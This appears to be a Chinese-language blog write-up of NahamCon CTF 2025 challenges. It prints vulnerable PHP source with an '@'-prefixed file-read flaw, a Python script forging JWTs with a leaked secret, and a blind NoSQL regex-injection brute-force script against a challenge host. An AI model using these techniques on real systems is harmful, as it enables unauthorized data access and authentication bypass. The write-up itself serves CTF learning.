nahamcon-ctf-2025

前言

这是一场国际赛,偏向于新手难度,接下来会进行某些题目的复现。

Warmups

Screenshot

Author: @John Hammond

Oh shoot! I accidentally took a screenshot just as I accidentally opened the dump of a flag.zip file in a text editor! Whoopsies, what a crazy accidental accident that just accidented!

Well anyway, I think I remember the password was just password!

下载附件,发现是十六进制

PK开头以及有一个flag.txt,我们把十六进制提取,然后转为zip。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo -n "504b 0304 3300 0100 6300 2f02 b55a 0000
0000 4300 0000 2700 0000 0800 0b00 666c
6167 2e74 7874 0199 0700 0200 4145 0300
003d 42ff d1b3 5f95 0314 24f6 8b65 c3f5
7669 f14e 8df0 003f e240 b3ac 3364 859e
4c2d bc3c 36f2 d4ac c403 7613 85af e4e3
f90f bd29 d91b 614b a2c6 efde 11b7 1bcc
907a 72ed 504b 0102 3f03 3300 0100 6300
2f02 b55a 0000 0000 4300 0000 2700 0000
0800 2f00 0000 0000 0000 2080 b481 0000
0000 666c 6167 2e74 7874 0a00 2000 0000
0000 0100 1800 8213 8543 07ca db01 0000
0000 0000 0000 0000 0000 0000 0000 0199
0700 0200 4145 0300 0050 4b05 0600 0000
0001 0001 0065 0000 0074 0000 0000 00" | tr -d ' ' | tr -d '\n' | xxd -r -p > flag.zip

然后解压(密码为:password

Free Flags!

Author: @John Hammond

WOW!! Look at all these free flags!!

But… wait a second… only one of them is right??

NOTE, bruteforcing flag submissions is still not permitted. I will put a “max attempts” limit on this challenge at 1:00 PM Pacific to stop participants from automating submissions. There is only one correct flag, you can find a needle in a haystack if you really know what you are looking for.

下载附件,得到一堆flag,但其中只有一个是正确的

正则匹配

Web

Outcast

Author: YesWeHack

YesWeHack has provided this CTF challenge, and they state: “This challenge is meant to be run as a black-box environment. The source code is intentionally not provided.”

***Light* enumeration is permitted for this challenge.

**NOTE, the flag for this challenge is not in the standard flag format. The format of the flag is with a flag{} wrapper but with _l33tsp3@k!_ inside the curly braces.

Special thanks to YesWeHack for the sponsorship and support of the NahamCon CTF!
YesWeHack Logo

**Press the Start button on the top-right to begin this challenge.****

首先目录爆破

modules路由中发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
class ApiClient {
private $url;
private $id;
private $path_tmp;

// 构造函数,初始化 API 地址、ID 和临时路径
public function __construct($url, $id, $path_tmp) {
$this->url = $url;
$this->id = $id;
$this->path_tmp = $path_tmp;
}

// 魔术方法 __call:动态调用类中不存在的方法,并传递参数
public function __call($apiMethod, $data = array()) {
// 构建完整的 API URL
$url = $this->url . $apiMethod;

// 添加 id 到请求数据中
$data['id'] = $this->id;

// 遍历请求数据,对其进行预处理
foreach ($data as $k => &$v) {
// 如果值是以 @ 开头的字符串,视为文件路径
if ($v && is_string($v) && str_starts_with($v, '@')) {
$file = substr($v, 1); // 去掉开头的 @ 符号

// 如果文件在临时路径中,则读取其内容
if (str_starts_with($file, $this->path_tmp)) {
$v = file_get_contents($file);
}
}

// 如果值是数组或对象,转换为 JSON 格式
if (is_array($v) || is_object($v)) {
$v = json_encode($v);
}
}

// 使用 cURL 发送 POST 请求
$ch = curl_init($url);

curl_setopt_array($ch, array(
CURLOPT_POST => true, // 启用 POST 方法
CURLOPT_POSTFIELDS => $data, // 设置 POST 数据
CURLOPT_RETURNTRANSFER => true, // 返回响应而非直接输出
CURLOPT_HTTPHEADER => array('Accept: application/json'), // 请求头,接受 JSON 响应
));

$response = curl_exec($ch); // 执行请求
$error = curl_error($ch); // 获取错误信息
curl_close($ch); // 关闭 cURL 会话

// 如果有错误,抛出异常
if (!empty($error)) {
throw new Exception($error);
}

// 返回响应结果
return $response;
}
}

这里主要漏洞点在__call:遍历请求数据,如果去掉@ 之后的路径是临时路径则会读取文件内容。

注意这里,只有getversion和getusers方法。

但如果我们调用一个不存在的方法就会执行__call

所以这里我可以apimethod调用一个不存在的方法

接着尝试访问 test

有三个传参。

当我随意输入的时候,发现返回 404

那么404是未找到页面,一个一个使用某个api路由

当我使用modules发现回显有点不同

301,那么我将换一个路由。

发现者是login路由的页面。

而这里是传入的参数,猜测会通过如下代码检测

也就是说我们需要传入一个变量,值需要是@开头,如果是则去掉符号,接着判断是否是临时路径,如果是则读取内容,

那么在login路由中,能传入的变量有username && password

那么需要确认哪个可以被遍历后读取文件内容

可以看出来,只有username的值被回显了,那么我们在username传值即可。

成功,那么读取flag。

Infinite Queue

这道题是通过伪造错误的jwt获取到jwt_key 任何通过jwt_key去伪造一个正确的jwt,接着带着jwt去访问路由即可。

首先是一个购票界面

点击后跳转到queue路由

这里点击Refresh Status抓包

这里获取到jwt,尝试伪造。

得到jwt_secret,接着去伪造。

由于这里提示我们是时间,那么我们需要去伪造时间,而不是用户

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt 
import time

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiYXNkc2FkYXNkIiwicXVldWVfdGltZSI6MTc5Mjk4Mjk3OC4xNTIyOCwiZXhwIjo1MzQ4Mzk3ODc4fQ.owetpCjurFyleN_KUy4S1DTdsUtxP7IqRCd6DNA_JS0"
secret = "4A4Dmv4ciR477HsGXI19GgmYHp2so637XhMC"

payload = jwt.decode(token,options={"verify_signature": False})

payload['queue_time'] = int(time.time())

new_token = jwt.encode(payload,secret,algorithm="HS256")

print(f"新的jwt:{new_token}")

带着token访问purchase

NoSequel

这是一个盲注的题目。但不属于sql。

这里根据下面的语法提示,我们来进行搜索查询。假设我们flag:{$regex:"flag{1"}

则会报错

意思是无结果匹配。

那么假设我们fuzz,fuzz到4的时候flag:{$regex: "flag{4"}

结果为:Pattern matched

那么可以利用这个回显进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

charset = string.ascii_lowercase + string.digits + "-"
url="http://challenge.nahamcon.com:30246/search"
flag="flag{"

while not flag.endswith("}"):
for c in charset:
try_str = flag + c
searchQuery = f'flag: {{"$regex":"^{try_str}"}}'
data = {
"query": searchQuery,
"collection": "flags"
}
print(f"[->] Trying: {try_str}")
res = requests.post(url,data=data)
if "Pattern matched" in res.text:
flag += c
print(f"{try_str}")
break
print(f"[√]最终的flag: {flag}")

nahamcon-ctf-2025
https://r3bir7hcx.github.io/2025/05/26/nahamcon-ctf-2025/
Author
CXCX
Posted on
May 26, 2025
Licensed under